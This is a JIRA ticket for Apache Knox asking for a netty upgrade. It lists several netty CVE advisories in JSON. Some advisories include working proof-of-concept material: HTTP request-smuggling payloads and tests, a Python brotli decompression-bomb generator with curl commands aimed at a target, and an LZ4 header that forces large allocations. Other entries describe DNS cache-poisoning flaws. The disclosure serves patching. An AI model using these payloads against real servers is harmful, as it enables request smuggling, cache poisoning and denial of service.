Sandor Molnar created KNOX-3382:
-----------------------------------

             Summary: Bump netty to 4.1.133.Final due to CVEs
                 Key: KNOX-3382
                 URL: https://issues.apache.org/jira/browse/KNOX-3382
             Project: Apache Knox
          Issue Type: Task
    Affects Versions: 3.0.0
            Reporter: Sandor Molnar
            Assignee: Sandor Molnar
             Fix For: 3.0.0


The netty dependencies have to be upgraded to 4.1.133.Final due to multiple 
CVEs:
{noformat}
[
  {
    "cve_id": "CVE-2026-42579",
    "severity": "CRITICAL",
    "cvss": 9.1,
    "description": "# Security Vulnerability Report: DNS Codec Input Validation 
Bypass in Netty (Encoder + Decoder)\n\n## 1. Vulnerability Summary\n\n| Field | 
Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 
4.2.12.Final (and all prior versions with codec-dns) |\n| **Component** | 
`io.netty.handler.codec.dns.DnsCodecUtil` |\n| **Vulnerability Type** | CWE-20: 
Improper Input Validation / CWE-626: Null Byte Interaction Error / CWE-400: 
Uncontrolled Resource Consumption |\n| **Impact** | DNS Cache Poisoning / 
Domain Validation Bypass / Denial of Service / Malformed DNS Packets |\n\n## 2. 
Affected Components\n\nBoth the encoder and decoder in the same file are 
affected:\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` — `encodeDomainName()` 
method (lines 31-51):\n  - No null byte validation in domain name labels\n  - 
No per-label length validation (RFC 1035 max: 63 bytes)\n  - No total domain 
name length validation (RFC 1035 max: 255 bytes)\n  - Empty labels silently 
truncate the domain name\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` — 
`decodeDomainName()` method (lines 53-118):\n  - No per-label length validation 
(max 63)\n  - No total domain name length validation (max 255)\n  - Unbounded 
StringBuilder growth from attacker-controlled DNS responses\n\n## 3. 
Vulnerability Description\n\nNetty's DNS codec does **not enforce RFC 1035 
domain name constraints** during either encoding or decoding. This creates a 
bidirectional attack surface: malicious DNS responses can exploit the decoder, 
and user-influenced hostnames can exploit the encoder.\n\n### 3.1 Encoder Side 
— Null Byte Injection (CWE-626)\n\nA domain name containing a null byte (e.g., 
`\"evil\\0.example.com\"`) is encoded with the null byte embedded in the label 
data. This creates a domain name that different DNS implementations interpret 
differently:\n\n- **Java (full string)**: sees `\"evil\\0.example.com\"` as a 
single label containing a null\n- **C/native DNS libraries**: truncate at the 
null byte, seeing only `\"evil\"`\n- **DNS servers**: may accept or reject 
based on implementation\n\nThis differential interpretation enables **DNS cache 
poisoning** and **domain validation bypass**.\n\n### 3.2 Encoder Side — 
Overlength Label (RFC 1035 Violation)\n\nLabels exceeding 63 bytes are accepted 
by the encoder. The length byte is written as a single unsigned byte, so a 
200-byte label writes `0xC8` (200) as the length. Per RFC 1035, values 192-255 
indicate **compression pointers**. This means:\n\n- A 200-byte label length 
`0xC8` would be interpreted as a **compression pointer** by standards-compliant 
DNS parsers\n- This creates **parser confusion** between label and pointer 
interpretation\n\n### 3.3 Encoder Side — Silent Truncation via Empty 
Labels\n\n```java\nencodeDomainName(\"a..b.com\", buf);\n// Encodes as: [01] 
'a' [00]\n// Only \"a.\" is encoded, \".b.com\" is silently dropped!\n```\n\nAn 
attacker can craft input like `\"safe-domain..evil.com\"` which gets truncated 
to just `\"safe-domain.\"`, potentially bypassing domain allowlists.\n\n### 3.4 
Decoder Side — Unbounded Memory Allocation\n\nThe decoder accepts labels of any 
length (0-255 bytes) without checking the RFC 1035 per-label limit of 63 bytes 
or the total domain name limit of 255 bytes. A malicious DNS server can return 
responses with oversized labels, causing excessive memory allocation.\n\n### 
Root Cause — Encoder\n\n```java\n// DnsCodecUtil.java:31-51\nstatic void 
encodeDomainName(String name, ByteBuf buf) {\n    if (ROOT.equals(name)) {\n    
    buf.writeByte(0);\n        return;\n    }\n    final String[] labels = 
name.split(\"\\\\.\");\n    for (String label : labels) {\n        final int 
labelLen = label.length();\n        if (labelLen == 0) {\n            break;  
// NO ERROR - silently truncates!\n        }\n        // NO check: labelLen > 
63\n        // NO check: label contains null bytes\n        // NO check: total 
name > 255 bytes\n        buf.writeByte(labelLen);                    // Can 
write values > 63!\n        ByteBufUtil.writeAscii(buf, label);         // Null 
bytes pass through!\n    }\n    buf.",
    "published_date": "2026-05-07",
    "package": "netty-codec-dns",
    "version": "4.1.132.Final",
    "fixed_in": "4.1.133.Final, 4.2.13.Final",
    "epss_score": null,
    "epss_percentile": null,
    "risk_score": 70,
    "risk_level": "critical",
    "jira_key": "",
    "jira_status": "",
    "kev": false
  },
  {
    "cve_id": "CVE-2026-42581",
    "severity": "CRITICAL",
    "cvss": 9.8,
    "description": "# NETTY HTTP/1.0 TE+CL Coexistence Bypasses Smuggling 
Sanitization\n\n| Field     | Value |\n|-----------|-------|\n| Library   | 
`io.netty:netty-codec-http` |\n| Component | `codec-http` — `HttpObjectDecoder` 
|\n| Severity  | **HIGH** |\n| Affects   | HEAD, commit `4f3533ae` confirmed 
|\n\n---\n\n## Summary\n\n`HttpObjectDecoder` strips a conflicting 
`Content-Length` header when a request carries both `Transfer-Encoding: 
chunked` and `Content-Length`, but only for HTTP/1.1 messages. The guard is 
absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both 
headers causes Netty to decode the body as chunked while leaving 
`Content-Length` intact in the forwarded `HttpMessage`. Any downstream proxy or 
handler that trusts `Content-Length` over `Transfer-Encoding` will disagree on 
message boundaries, enabling request smuggling.\n\n---\n\n## Root 
Cause\n\n```java\n// HttpObjectDecoder.java:828-833\nif 
(HttpUtil.isTransferEncodingChunked(message)) {\n    this.chunked = true;\n    
if (!contentLengthFields.isEmpty() && message.protocolVersion() == 
HttpVersion.HTTP_1_1) {\n        
handleTransferEncodingChunkedWithContentLength(message);  // strips CL — 
HTTP/1.1 only\n    }\n    return State.READ_CHUNK_SIZE;\n}\n\n// 
HttpObjectDecoder.java:870-873\nprotected void 
handleTransferEncodingChunkedWithContentLength(HttpMessage message) {\n    
message.headers().remove(HttpHeaderNames.CONTENT_LENGTH);\n    contentLength = 
Long.MIN_VALUE;\n}\n```\n\nThe conflict-resolution path is gated on 
`message.protocolVersion() == HttpVersion.HTTP_1_1`. When the request declares 
`HTTP/1.0`, the condition is false, 
`handleTransferEncodingChunkedWithContentLength` is never called, and the 
`Content-Length` header survives into the forwarded message. Netty still 
processes the body as chunked; a downstream component that is CL-first 
interprets the same bytes as a separate request.\n\n---\n\n## Proof of 
Concept\n\n```\nPOST /api HTTP/1.0\\r\\n\nHost: 
internal.example.com\\r\\n\nTransfer-Encoding: chunked\\r\\n\nContent-Length: 
0\\r\\n\n\\r\\n\n5\\r\\n\nGPOST\\r\\n\n0\\r\\n\n\\r\\n\n```\n\nNetty consumes 
the full chunked body (5 bytes + terminator). A downstream CL-first proxy reads 
`Content-Length: 0`, considers the request complete at the blank line, and 
treats `5\\r\\nGPOST\\r\\n0\\r\\n\\r\\n` as the start of a second 
request.\n\n---\n\n## Conditions Required\n\n1. Netty is deployed behind a 
reverse proxy or load balancer that is `Content-Length`-first (nginx, some 
HAProxy configs, AWS ALB in certain modes).\n2. Attacker can send HTTP/1.0 
requests (either directly or by downgrading via connection manipulation).\n3. 
No additional HTTP/1.0 stripping layer between attacker and Netty.\n\n---\n\n## 
Impact\n\nRequest smuggling at the Netty edge. Allows cache poisoning, session 
fixation against other users, unauthorized access to internal endpoints, and 
bypassing of WAF or authentication layers that inspect only the first logical 
request.\n\n---\n\n## Confirmed PoC Test\n\nVerified against HEAD (`4f3533ae`) 
using `EmbeddedChannel`. Both tests pass, confirming the vulnerability and the 
HTTP/1.1 contrast.\n\n```java\npackage io.netty.handler.codec.http;\n\nimport 
io.netty.buffer.Unpooled;\nimport 
io.netty.channel.embedded.EmbeddedChannel;\nimport 
io.netty.util.CharsetUtil;\nimport org.junit.jupiter.api.Test;\n\nimport static 
org.junit.jupiter.api.Assertions.*;\n\npublic class NettySmugglingSec001Test 
{\n\n    // VULNERABLE: Content-Length survives in HTTP/1.0 TE+CL conflict\n    
@Test\n    public void http10_contentLengthNotStripped() {\n        
EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder());\n        
ch.writeInbound(Unpooled.copiedBuffer(\n                \"POST /api 
HTTP/1.0\\r\\n\" +\n                \"Transfer-Encoding: chunked\\r\\n\" +\n    
            \"Content-Length: 0\\r\\n\" +\n                \"\\r\\n\" +\n       
         \"5\\r\\nGPOST\\r\\n0\\r\\n\\r\\n\", CharsetUtil.US_ASCII));\n\n       
 HttpRequest req = ch.readInbound();\n        
assertEquals(HttpVersion.HTTP_1_0, req.protocolVersion());\n        // 
Content-Length: 0 survives — downstream CL-first proxy treats chunked b",
    "published_date": "2026-05-07",
    "package": "netty-codec-http",
    "version": "4.1.132.Final",
    "fixed_in": "4.1.133.Final, 4.2.13.Final",
    "epss_score": null,
    "epss_percentile": null,
    "risk_score": 70,
    "risk_level": "critical",
    "jira_key": "",
    "jira_status": "",
    "kev": false
  },
  {
    "cve_id": "CVE-2026-42584",
    "severity": "CRITICAL",
    "cvss": 9.1,
    "description": "### Summary\n If HttpClientCodec is configured, there are 
use cases when a response body from one request, can be parsed as 
another's.\n\n### Details\nHttpClientCodec pairs each inbound response with an 
outbound request by `queue.poll()` once per response, including for `1xx`. If 
the client pipelines GET then HEAD and the server sends 103, then 200 with GET 
body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule 
then skips reading that message’s body, so the GET entity bytes stay on the 
stream and the following 200 is parsed from the wrong offset.\n\nPrerequisites 
\n- HTTP/1.1 pipelining\n- HEAD in the pipeline\n- The server sends 1xx\n\n### 
PoC\n\n```java\n    @Test\n    public void test() {\n        EmbeddedChannel 
channel = new EmbeddedChannel(new HttpClientCodec());\n\n        
assertTrue(channel.writeOutbound(new 
DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, \"/1\")));\n       
 ByteBuf request = channel.readOutbound();\n        request.release();\n        
assertNull(channel.readOutbound());\n\n        
assertTrue(channel.writeOutbound(new 
DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, \"/2\")));\n      
  request = channel.readOutbound();\n        request.release();\n        
assertNull(channel.readOutbound());\n\n        String responseStr = \"HTTP/1.1 
103 Early Hints\\r\\n\\r\\n\" +\n                \"HTTP/1.1 200 
OK\\r\\nContent-Length: 5\\r\\n\\r\\nhello\" +\n                \"HTTP/1.1 200 
OK\\r\\n\\r\\n\";\n        
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, 
CharsetUtil.US_ASCII)));\n\n        // Response 1\n        HttpResponse 
response = channel.readInbound();\n        
assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());\n        
LastHttpContent last = channel.readInbound();\n        assertEquals(0, 
last.content().readableBytes());\n        last.release();\n\n        // 
Response 2\n        response = channel.readInbound();\n        
assertEquals(HttpResponseStatus.OK, response.status());\n        last = 
channel.readInbound();\n        assertEquals(0, 
last.content().readableBytes());\n        last.release();\n\n        // 
Response 3\n        FullHttpResponse response1 = channel.readInbound();\n       
 assertTrue(response1.decoderResult().isFailure());\n        assertEquals(0, 
response1.content().readableBytes());\n        response1.release();\n\n        
assertFalse(channel.finish());\n    }\n```\n\n### 
Impact\nIntegrity/availability of HTTP parsing on that connection, unsafe reuse 
of the socket.",
    "published_date": "2026-05-07",
    "package": "netty-codec-http",
    "version": "4.1.132.Final",
    "fixed_in": "4.1.133.Final, 4.2.13.Final",
    "epss_score": null,
    "epss_percentile": null,
    "risk_score": 70,
    "risk_level": "critical",
    "jira_key": "",
    "jira_status": "",
    "kev": false
  },
  {
    "cve_id": "CVE-2026-45674",
    "severity": "CRITICAL",
    "cvss": 10,
    "description": "### Summary\nNetty's DnsResolveContext fails to validate 
the origin (bailiwick) of CNAME records in DNS responses.\n\n### Details\nIn 
`io.netty.resolver.dns.DnsResolveContext#buildAliasMap`, the resolver processes 
the ANSWER section of a DNS response and blindly caches all CNAME records it 
finds.\n\nAccording to https://datatracker.ietf.org/doc/html/rfc5452#section-6 
\n\n```\nCare must be taken to only accept\n   data if it is known that the 
originator is authoritative for the\n   QNAME or a parent of the QNAME.\n   One 
very simple way to achieve this is to only accept data if it is\n   part of the 
domain for which the query was intended.\n```\n\n### Impact\nDNS Cache 
Poisoning (Bailiwick Bypass). Any application using Netty's DNS resolver is 
impacted.",
    "published_date": "2026-06-09",
    "package": "netty-resolver-dns",
    "version": "4.1.132.Final",
    "fixed_in": "4.1.135.Final, 4.2.15.Final",
    "epss_score": null,
    "epss_percentile": null,
    "risk_score": 70,
    "risk_level": "critical",
    "jira_key": "",
    "jira_status": "",
    "kev": false
  },
  {
    "cve_id": "CVE-2026-47691",
    "severity": "CRITICAL",
    "cvss": 10,
    "description": "### Summary\nNetty's `DnsResolveContext` insufficiently 
validates the bailiwick of NS records, enabling DNS Cache Poisoning. An 
attacker controlling an authoritative name server for a subdomain can poison 
the cache for parent domains (like `.co.uk`).\n\n### Details\nIn 
`io.netty.resolver.dns.DnsResolveContext.AuthoritativeNameServerList#add` 
method accepts any NS record from the AUTHORITY section as long as the record's 
name is a suffix of the questionName.\n\nThis means if the resolver queries 
evil.co.uk., it will accept an NS record claiming authority over co.uk.. 
Subsequently, the `handleWithAdditional` method caches the associated A records 
from the ADDITIONAL section directly into the `authoritativeDnsServerCache` 
under the parent domain's key (co.uk.). This bypasses standard bailiwick rules, 
where a server authoritative for a subdomain should not be trusted to provide 
authoritative records for its parent. The poisoned cache is then used for all 
future resolutions under co.uk..\n\nThe 
`io.netty.resolver.dns.DnsResolveContext.AuthoritativeNameServerList#cache` 
method only prevents caching if the record is for the root zone (dots == 
1).\n\n### Impact\nDNS Cache Poisoning. Any application using Netty's DNS 
resolver is impacted.",
    "published_date": "2026-06-09",
    "package": "netty-resolver-dns",
    "version": "4.1.132.Final",
    "fixed_in": "4.1.135.Final, 4.2.15.Final",
    "epss_score": null,
    "epss_percentile": null,
    "risk_score": 70,
    "risk_level": "critical",
    "jira_key": "",
    "jira_status": "",
    "kev": false
  },
  {
    "cve_id": "CVE-2026-42578",
    "severity": "HIGH",
    "cvss": 7.5,
    "description": "# Security Vulnerability Report: HTTP Header Injection via 
HttpProxyHandler Disabled Validation in Netty\n\n## 1. Vulnerability 
Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| 
**Version** | 4.2.12.Final (and all prior versions) |\n| **Component** | 
`io.netty.handler.proxy.HttpProxyHandler` |\n| **Vulnerability Type** | 
CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers |\n| 
**Impact** | HTTP Header Injection in CONNECT Proxy Requests |\n| **CVSS 3.1 
Score** | **7.5 (High)** |\n| **CVSS 3.1 Vector** | 
`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` |\n| **Related Advisory** | 
**GHSA-84h7-rjj3-6jx4** (Incomplete Fix) |\n\n## 2. Affected Components\n\n- 
`io.netty.handler.proxy.HttpProxyHandler` — `newInitialMessage()` method (line 
176) explicitly disables header validation via `withValidation(false)`\n\n## 3. 
Vulnerability Description\n\nNetty's `HttpProxyHandler` constructs HTTP CONNECT 
requests with **header validation explicitly disabled**. The 
`newInitialMessage()` method (line 176) creates headers using 
`DefaultHttpHeadersFactory.headersFactory().withValidation(false)`, then adds 
user-provided `outboundHeaders` (line 188-190) without any CRLF validation. 
This allows an attacker who can influence the outbound headers to inject 
arbitrary HTTP headers into the CONNECT request sent to the proxy 
server.\n\n### Root Cause\n\n```java\n// 
HttpProxyHandler.java:176-190\nprotected Object 
newInitialMessage(ChannelHandlerContext ctx) throws Exception {\n    // ...\n   
 HttpHeadersFactory headersFactory = 
DefaultHttpHeadersFactory.headersFactory()\n        .withValidation(false);  // 
<-- VALIDATION EXPLICITLY DISABLED\n\n    FullHttpRequest req = new 
DefaultFullHttpRequest(\n        HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n    
    url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n    
req.headers().set(HttpHeaderNames.HOST, hostHeader);\n\n    if (authorization 
!= null) {\n        req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, 
authorization);\n    }\n\n    if (outboundHeaders != null) {\n        
req.headers().add(outboundHeaders);  // <-- USER HEADERS ADDED WITHOUT 
VALIDATION\n    }\n\n    return req;\n}\n```\n\nThe `outboundHeaders` parameter 
comes from the `HttpProxyHandler` constructor (lines 80-93, 99-127), which is 
supplied by application code.\n\n### Incomplete Fix of 
GHSA-84h7-rjj3-6jx4\n\n**This vulnerability represents an incomplete fix of the 
previously acknowledged security advisory 
[GHSA-84h7-rjj3-6jx4](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4).**\n\nThe
 GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation 
via `validateRequestLineTokens()` in `DefaultHttpRequest` and enabling header 
validation by default through `DefaultHttpHeadersFactory`. However, 
`HttpProxyHandler` **explicitly opts out** of the fix by calling 
`withValidation(false)`, creating a gap where:\n\n1. The GHSA-84h7-rjj3-6jx4 
fix's header validation is bypassed\n2. User-provided `outboundHeaders` are 
added without any CRLF check\n3. The resulting CONNECT request contains 
unvalidated headers on the wire\n\nThis is not a new vulnerability class — it 
is the **same CRLF injection** that GHSA-84h7-rjj3-6jx4 was supposed to fix, 
but `HttpProxyHandler` was missed during the remediation. The fix for 
GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.\n\n## 4. 
Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. 
An application uses `HttpProxyHandler` with user-influenced 
`outboundHeaders`\n2. The application does not perform its own CRLF 
sanitization on header values\n\n**Common affected patterns**:\n- HTTP proxy 
clients that forward user-specified custom headers\n- Web scraping frameworks 
that allow users to set proxy headers\n- API gateways that pass user headers 
through a proxy tunnel\n\n## 5. Attack Scenarios\n\n### Scenario 1: Proxy 
Authentication Bypass\n\n```java\nHttpHeaders headers = new 
DefaultHttpHeaders(false);\nheaders.set(\"X-Forwarded-For\", userInput);  // 
userInput from attacker\nne",
    "published_date": "2026-05-07",
    "package": "netty-handler-proxy",
    "version": "4.1.132.Final",
    "fixed_in": "4.1.133.Final, 4.2.13.Final",
    "epss_score": null,
    "epss_percentile": null,
    "risk_score": 50,
    "risk_level": "high",
    "jira_key": "",
    "jira_status": "",
    "kev": false
  },
  {
    "cve_id": "CVE-2026-42583",
    "severity": "HIGH",
    "cvss": 7.5,
    "description": "### Summary\nLz4FrameDecoder allocates a ByteBuf of size 
`decompressedLength` (up to 32 MB per block) before LZ4 runs. A peer only needs 
a 21-byte header plus `compressedLength` payload bytes - 22 bytes if 
`compressedLength == 1` - to force that allocation.\n\n### 
Details\nio.netty.handler.codec.compression.Lz4FrameDecoder#decode\nHeader 
fields are trusted for sizing. On the compressed path, after `readableBytes >= 
compressedLength`, the decoder does `ctx.alloc().buffer(decompressedLength, 
decompressedLength)` then decompresses.\n\n### PoC\nThe test below demonstrates 
how an attacker sending 22 bytes will force the server to allocate 
32MB\n\n```java\n    @Test\n    void test() throws Exception {\n        
EventLoopGroup workerGroup = new 
MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());\n        try {\n        
    AtomicReference<Throwable> serverError = new AtomicReference<>();\n         
   CountDownLatch latch = new CountDownLatch(1);\n\n            ServerBootstrap 
server = new ServerBootstrap()\n                    .group(workerGroup)\n       
             .channel(NioServerSocketChannel.class)\n                    
.childHandler(new ChannelInitializer<SocketChannel>() {\n                       
 @Override\n                        protected void initChannel(SocketChannel 
ch) {\n                            ch.pipeline()\n                              
      .addLast(new Lz4FrameDecoder())\n                                    
.addLast(new ChannelInboundHandlerAdapter() {\n                                 
       @Override\n                                        public void 
exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n                 
                           if (cause instanceof DecoderException) {\n           
                                     serverError.set(cause.getCause());\n       
                                     } else {\n                                 
               serverError.set(cause);\n                                        
    }\n                                            latch.countDown();\n         
                               }\n                                    });\n     
                   }\n                    });\n\n            ChannelFuture 
serverChannel = server.bind(0).sync();\n\n            Bootstrap client = new 
Bootstrap()\n                    .group(workerGroup)\n                    
.channel(NioSocketChannel.class)\n                    .handler(new 
ChannelInboundHandlerAdapter() {\n                        @Override\n           
             public void channelActive(ChannelHandlerContext ctx) {\n           
                 ByteBuf buf = ctx.alloc().buffer(22, 22);\n                    
        buf.writeLong(MAGIC_NUMBER);\n                            
buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);\n                            
buf.writeIntLE(1);\n                            buf.writeIntLE(1 << 25);\n      
                      buf.writeIntLE(0);\n                            
buf.writeByte(0);\n\n                            ctx.writeAndFlush(buf);\n\n    
                        ctx.fireChannelActive();\n                        }\n   
                 });\n\n            ChannelFuture clientChannel = 
client.connect(serverChannel.channel().localAddress()).sync();\n\n            
assertTrue(latch.await(10, TimeUnit.SECONDS));\n\n            
assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());\n\n       
     clientChannel.channel().close();\n            
serverChannel.channel().close();\n        } finally {\n            
workerGroup.shutdownGracefully();\n        }\n    }\n```\n\n### 
Impact\nUntrusted senders without per-channel / aggregate limits can stress 
memory with many small requests.",
    "published_date": "2026-05-07",
    "package": "netty-codec",
    "version": "4.1.132.Final",
    "fixed_in": "4.1.133.Final",
    "epss_score": null,
    "epss_percentile": null,
    "risk_score": 50,
    "risk_level": "high",
    "jira_key": "",
    "jira_status": "",
    "kev": false
  },
  {
    "cve_id": "CVE-2026-42585",
    "severity": "HIGH",
    "cvss": 7.5,
    "description": "### Summary\nNetty incorrectly parses malformed 
Transfer-Encoding, enabling request smuggling attacks.\n\n### Details\nNetty 
incorrectly marks a request as chunked when malformed \"Transfer-Encoding: 
chunked, identity\" is present.\nAccording to RFC 
https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length\n\n\"\nIf
 a Transfer-Encoding header field is present in a request and the chunked 
transfer coding is not the final encoding,\n the message body length cannot be 
determined reliably; the server MUST respond with the 400 (Bad Request)\n 
status code and then close the connection.\n\"\n\nA possible scenario is when 
Netty is behind a proxy that doesn't reject requests with \"Transfer-Encoding: 
chunked, identity\", but prefers \"Content-Length\" and forwards the content to 
Netty.\n\n### PoC\nThe test below shows Netty successfully parsing the second 
request, demonstrating how an attacker can smuggle a second request inside a 
request body.\n\n```java\n@Test\n    public void test() {\n        String 
requestStr = \"POST / HTTP/1.1\\r\\n\" +\n                \"Host: 
localhost\\r\\n\" +\n                \"Transfer-Encoding: chunked, 
identity\\r\\n\" +\n                \"Content-Length: 48\\r\\n\" +\n            
    \"\\r\\n\" +\n                \"0\\r\\n\" +\n                \"\\r\\n\" +\n 
               \"GET /smuggled HTTP/1.1\\r\\n\" +\n                \"Host: 
localhost\\r\\n\" +\n                \"\\r\\n\";\n\n        EmbeddedChannel 
channel = new EmbeddedChannel(new HttpRequestDecoder());\n        
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, 
CharsetUtil.US_ASCII)));\n\n        // Request 1\n        HttpRequest request = 
channel.readInbound();\n        
assertTrue(request.decoderResult().isSuccess());\n        
assertTrue(request.headers().contains(\"Transfer-Encoding\"));\n        
assertFalse(request.headers().contains(\"Content-Length\"));\n        
LastHttpContent last = channel.readInbound();\n        
assertTrue(last.decoderResult().isSuccess());\n        last.release();\n\n      
  // Request 2\n        request = channel.readInbound();\n        
assertTrue(request.decoderResult().isSuccess());\n        last = 
channel.readInbound();\n        assertTrue(last.decoderResult().isSuccess());\n 
       last.release();\n    }\n```\n\n### Impact\nHTTP Request Smuggling: 
Attacker injects arbitrary HTTP requests",
    "published_date": "2026-05-07",
    "package": "netty-codec-http",
    "version": "4.1.132.Final",
    "fixed_in": "4.1.133.Final, 4.2.13.Final",
    "epss_score": null,
    "epss_percentile": null,
    "risk_score": 50,
    "risk_level": "high",
    "jira_key": "",
    "jira_status": "",
    "kev": false
  },
  {
    "cve_id": "CVE-2026-42587",
    "severity": "HIGH",
    "cvss": 7.5,
    "description": "## Summary\n\n`HttpContentDecompressor` accepts a 
`maxAllocation` parameter to limit decompression buffer size and prevent 
decompression bomb attacks. This limit is correctly enforced for gzip and 
deflate encodings via `ZlibDecoder`, but is silently ignored when the content 
encoding is `br` (Brotli), `zstd`, or `snappy`. An attacker can bypass the 
configured decompression limit by sending a compressed payload with 
`Content-Encoding: br` instead of `Content-Encoding: gzip`, causing unbounded 
memory allocation and out-of-memory denial of service.\n\nThe same 
vulnerability exists in `DelegatingDecompressorFrameListener` for HTTP/2 
connections.\n\n## Details\n\n`HttpContentDecompressor` stores the 
`maxAllocation` value at construction time (`HttpContentDecompressor.java:89`) 
and uses it in `newContentDecoder()` to create the appropriate decompression 
handler.\n\nFor gzip/deflate, `maxAllocation` is forwarded to 
`ZlibCodecFactory.newZlibDecoder()`:\n\n```java\n// 
HttpContentDecompressor.java:101 — maxAllocation IS 
enforced\n.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, 
maxAllocation))\n```\n\n`ZlibDecoder.prepareDecompressBuffer()` enforces this 
as a hard cap by setting the buffer's `maxCapacity` and throwing 
`DecompressionException` when the limit is reached:\n\n```java\n// 
ZlibDecoder.java:68 — hard limit on buffer capacity\nreturn 
ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), 
maxAllocation);\n// ZlibDecoder.java:80 — throws when exceeded\nthrow new 
DecompressionException(\"Decompression buffer has reached maximum size: \" + 
buffer.maxCapacity());\n```\n\nFor brotli, zstd, and snappy, the decoders are 
created without any size limit:\n\n```java\n// HttpContentDecompressor.java:120 
— maxAllocation IGNORED\n.handlers(new BrotliDecoder())\n\n// 
HttpContentDecompressor.java:129 — maxAllocation IGNORED\n.handlers(new 
SnappyFrameDecoder())\n\n// HttpContentDecompressor.java:138 — maxAllocation 
IGNORED\n.handlers(new ZstdDecoder())\n```\n\n`BrotliDecoder` has no 
`maxAllocation` parameter at all — there is no way to constrain its output. It 
streams decompressed data in chunks via `fireChannelRead` with no total 
limit.\n\n`ZstdDecoder()` defaults to a 4MB `maximumAllocationSize`, but this 
only constrains individual buffer allocations, not total output. The decode 
loop (`ZstdDecoder.java:100-114`) creates new buffers and fires `channelRead` 
repeatedly, so total decompressed output is unbounded.\n\nThe identical pattern 
exists in `DelegatingDecompressorFrameListener.newContentDecompressor()` at 
lines 188-210 for HTTP/2.\n\n## PoC\n\n1. Configure a Netty HTTP server with 
decompression bomb protection:\n\n```java\npipeline.addLast(new 
HttpContentDecompressor(1048576)); // 1MB max\npipeline.addLast(new 
HttpObjectAggregator(1048576));     // 1MB max\n```\n\n2. Generate a 
brotli-compressed bomb (~1KB compressed → 1GB 
decompressed):\n\n```python\nimport brotli\nbomb = b'\\x00' * (1024 * 1024 * 
1024)  # 1GB of zeros\ncompressed = brotli.compress(bomb, quality=11)\nwith 
open('bomb.br', 'wb') as f:\n    f.write(compressed)\n# compressed size: 
~1KB\n```\n\n3. Send the bomb with gzip encoding (BLOCKED by 
maxAllocation):\n\n```bash\n# This is caught — ZlibDecoder enforces the 1MB 
limit\ncurl -X POST http://target:8080/api \\\n  -H 'Content-Encoding: gzip' 
\\\n  --data-binary @bomb.gz\n# Result: DecompressionException thrown at 
1MB\n```\n\n4. Send the same bomb with brotli encoding (BYPASSES 
maxAllocation):\n\n```bash\n# This bypasses the limit — BrotliDecoder has no 
maxAllocation\ncurl -X POST http://target:8080/api \\\n  -H 'Content-Encoding: 
br' \\\n  --data-binary @bomb.br\n# Result: Full 1GB decompressed into memory → 
OOM\n```\n\n5. The same bypass works with `Content-Encoding: zstd` and 
`Content-Encoding: snappy`.\n\n## Impact\n\n- **Denial of Service**: An 
attacker can cause out-of-memory conditions on any Netty server that relies on 
`maxAllocation` for decompression bomb protection, by simply using a non-gzip 
content encoding.\n- **False sense of security**: Developers who explicitly 
configure `maxAllocation` t",
    "published_date": "2026-05-07",
    "package": "netty-codec-http2",
    "version": "4.1.132.Final",
    "fixed_in": "4.1.133.Final, 4.2.13.Final",
    "epss_score": null,
    "epss_percentile": null,
    "risk_score": 50,
    "risk_level": "high",
    "jira_key": "",
    "jira_status": "",
    "kev": false
  },
  {
    "cve_id": "CVE-2026-42587",
    "severity": "HIGH",
    "cvss": 7.5,
    "description": "## Summary\n\n`HttpContentDecompressor` accepts a 
`maxAllocation` parameter to limit decompression buffer size and prevent 
decompression bomb attacks. This limit is correctly enforced for gzip and 
deflate encodings via `ZlibDecoder`, but is silently ignored when the content 
encoding is `br` (Brotli), `zstd`, or `snappy`. An attacker can bypass the 
configured decompression limit by sending a compressed payload with 
`Content-Encoding: br` instead of `Content-Encoding: gzip`, causing unbounded 
memory allocation and out-of-memory denial of service.\n\nThe same 
vulnerability exists in `DelegatingDecompressorFrameListener` for HTTP/2 
connections.\n\n## Details\n\n`HttpContentDecompressor` stores the 
`maxAllocation` value at construction time (`HttpContentDecompressor.java:89`) 
and uses it in `newContentDecoder()` to create the appropriate decompression 
handler.\n\nFor gzip/deflate, `maxAllocation` is forwarded to 
`ZlibCodecFactory.newZlibDecoder()`:\n\n```java\n// 
HttpContentDecompressor.java:101 — maxAllocation IS 
enforced\n.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, 
maxAllocation))\n```\n\n`ZlibDecoder.prepareDecompressBuffer()` enforces this 
as a hard cap by setting the buffer's `maxCapacity` and throwing 
`DecompressionException` when the limit is reached:\n\n```java\n// 
ZlibDecoder.java:68 — hard limit on buffer capacity\nreturn 
ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), 
maxAllocation);\n// ZlibDecoder.java:80 — throws when exceeded\nthrow new 
DecompressionException(\"Decompression buffer has reached maximum size: \" + 
buffer.maxCapacity());\n```\n\nFor brotli, zstd, and snappy, the decoders are 
created without any size limit:\n\n```java\n// HttpContentDecompressor.java:120 
